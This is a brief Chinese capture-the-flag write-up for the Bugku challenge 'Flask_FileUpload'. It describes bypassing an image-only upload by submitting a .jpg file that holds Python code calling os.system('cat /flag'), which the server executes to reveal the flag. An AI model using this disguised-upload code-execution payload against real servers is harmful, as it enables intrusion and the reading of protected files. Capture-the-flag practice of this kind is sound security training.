【bugku】Flask_FileUpload

查看F12

只允许上传图片文件

创建一个python构造的jpg文件

import os
a = os.system('cat /flag')

上传之后有flag了